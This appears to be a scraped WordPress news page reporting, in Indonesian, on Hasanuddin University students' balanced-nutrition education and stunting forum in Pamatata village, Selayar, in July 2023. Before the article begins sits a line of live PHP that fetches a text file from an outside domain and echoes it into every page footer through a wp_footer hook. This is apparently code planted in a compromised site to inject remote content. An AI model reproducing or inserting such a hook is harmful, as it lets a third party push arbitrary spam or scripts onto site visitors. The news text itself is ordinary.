function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');Mahasiswa KKNT Unhas Edukasi Gizi Seimbang dan Rembuk Stunting di Desa Pamatata, Selayar - Suluh Nusantara

Home / Berita / Pendidikan / Regional

Senin, 17 Juli 2023 - 11:39 WIB

Mahasiswa KKNT Unhas Edukasi Gizi Seimbang dan Rembuk Stunting di Desa Pamatata, Selayar

Doc. Kegiatan KKNT (Istimewa)

Doc. Kegiatan KKNT (Istimewa)

Salah satu program kerja mahasiswa KKNT Universitas Hasanuddin Gelombang 110 Tematik Penurunan Stunting Posko 01 Desa Pamatata, Kecamatan Bontomatene, Kabupaten Kepulauan Selayar yaitu “Edukasi Gizi Seimbang dan Rembuk Stunting”. Kegiatan ini berlangsung beberapa kali selama bulan Juli 2023. Mahasiswa yang menjadi penanggung jawab dalam program kerja ini yaitu Suci Nurul Karunia Rahim.

Rembuk Stunting di Kantor Desa Pamatata yang di hadiri sebanyak 25 orang pada tanggal 17 Juli 2023. Kegiatan Rembuk Stunting ini didahului dengan observasi terhadap pasangan usia subur & ibu hamil, dan edukasi gizi seimbang di posyandu yang ada di Desa Pamatata. Kegiatan observasi ini dilakukan secara door to door ke rumah sasaran. Hal ini dilakukan untuk melihat langsung perilaku sasaran tersebut. Sementara itu, edukasi gizi seimbang dilakukan pada 3 posyandu dengan sasaran ibu hamil dan yang punya baduta.

“Nah, dalam kegiatan rembuk stunting ini kami membahas juga hasil penyuluhan gizi seimbang. Bahwa hasil dari kegiatan penyuluhan gizi seimbang ini kami dapatkan, ternyata rata rata ibu masih kurang memahami jumlah porsi makan anaknya dan memberikan makanan yang kurang protein,” ujar Suci Nurul Karunia Rahim.

Baca Juga  FKM Unhas: Pelepasan Mahasiswa Merdeka Belajar Kampus Merdeka PMM 3 dan MSIB Batch 5 Kemdikbudristek
Doc. Penyuluhan Gizi Seimbang (Istimewa)

Latunru, Kepala Desa Pamatata, menyampaikan tekadnya agar semua pihak bahu membahu dalam mengatasi dan mencegah stunting di Desa Pamatata. “Sepertinya memang banyak PR yang harus kita kerjakan tahun ini supaya tahun depan kita tidak masuk lokus lagi. Yang pertama terkait laporan survey dari anak-anak mahasiswa, masyarakat yaitu pasangan usia subur atau ibu-ibu hamil yaitu kurang makan buah,” ujar Latunru.

“Kalau bisa kita memberdayakan setiap keluarga untuk menanam buah dan sayur, kalau tidak ada pekarangan nanti disiapkan polybag. Jadi masyarakat tinggal menanam saja. Itu salah satu solusi untuk menghemat juga supaya kita bisa memberdayakan keluarga,” jelas Latunru. “Rumah gizi yang sudah ada perlu kita intensifkan melakukan kegiatan-kegiatan edukasi atau pembinaan terhadap ibu hamil,” lanjut Latunru.

Baca Juga  Tim PPK ORMAWA BEM FKM Unhas Adakan Penyuluhan Pemilahan Sampah

Perwakilan peserta dari DP3AP2KB Selayar menyampaikan menumbuhkan kesadaran masyarakat melalui berbagai kegiatan edukasi dan penyadaran agar fasilitasi yang dilakukan oleh pemerintah desa dan tenaga kesehatan terkait bisa berdampak. Oleh karena itu kita perlu selalu melakukan edukasi ke masyarakat.

Muhammad Rachmat, DPK KKNT Unhas dan dosen di Fakultas Kesehatan Masyarakat Unhas, menjelaskan mengenai Rembuk Stunting di tingkat desa. Rembuk Stunting merupakan suatu langkah penting yang harus dilakukan pemerintah desa untuk memastikan pelaksanaan rencana kegiatan intervensi pencegahan dan penurunan stunting dilakukan secara bersama-sama antara OPD penanggung jawab layanan dengan sektor/lembaga non-pemerintah dan masyarakat.

Luaran yang diharapkan yaitu adanya komitmen penurunan stunting oleh kepala desa dan pihak terkait termasuk sektor non-pemerintah dan masyarakat, dan adanya rencana kegiatan intervensi gizi terintegrasi penurunan stunting. Hasil kegiatan Rembuk Stunting menjadi dasar gerakan penurunan stunting di desa melalui integrasi program/kegiatan yang dilakukan antar OPD penanggung jawab layanan dan partisipasi masyarakat.

Share :

Baca Juga

Berita

Mahasiswa PBL II FKM UNHAS Lakukan Intervensi Berupa Pembuatan Perbedaan Warna Tempat Sampah di SDN 18 Bonto-Bonto Kelurahan Balleangin

Berita

Posko 28 PBL II FKM UNHAS Sukses Menyelenggarakan Penyuluhan Pencegahan Sampah Bersama Karang Taruna Desa Manggalung di SDN 30 Manggalung

Berita

FKM UNHAS Gelar Workshop Penyusunan Kurikulum Profesi Kesehatan Masyarakat (Kesmas)

Berita

Sosialisasi Jamu Tradisional kepada Masyarakat di Desa Kalimporo melalui kegiatan Bina Desa FKM Unhas

Berita

Wujudkan Wilayah Bebas AKI dan Stunting melalui Pelatihan TPK oleh Tim Pengabdian FKM Universitas Hasanuddin di Kecamatan Mapilli Kabupaten Polewali Mandar

Berita

Mahasiswa PKIP FKM Unhas Dibekali Keterampilan KAP Sebelum Magang

Berita

Mahasiswa KKNT Unhas Gelar Seminar Program Kerja untuk Penurunan Stunting di Bontoharu, Selayar

Berita

KKNT Unhas Desa Gantarang Perkenalkan Potensi Wisata Geosite Batu Tallasang Melalui Booklet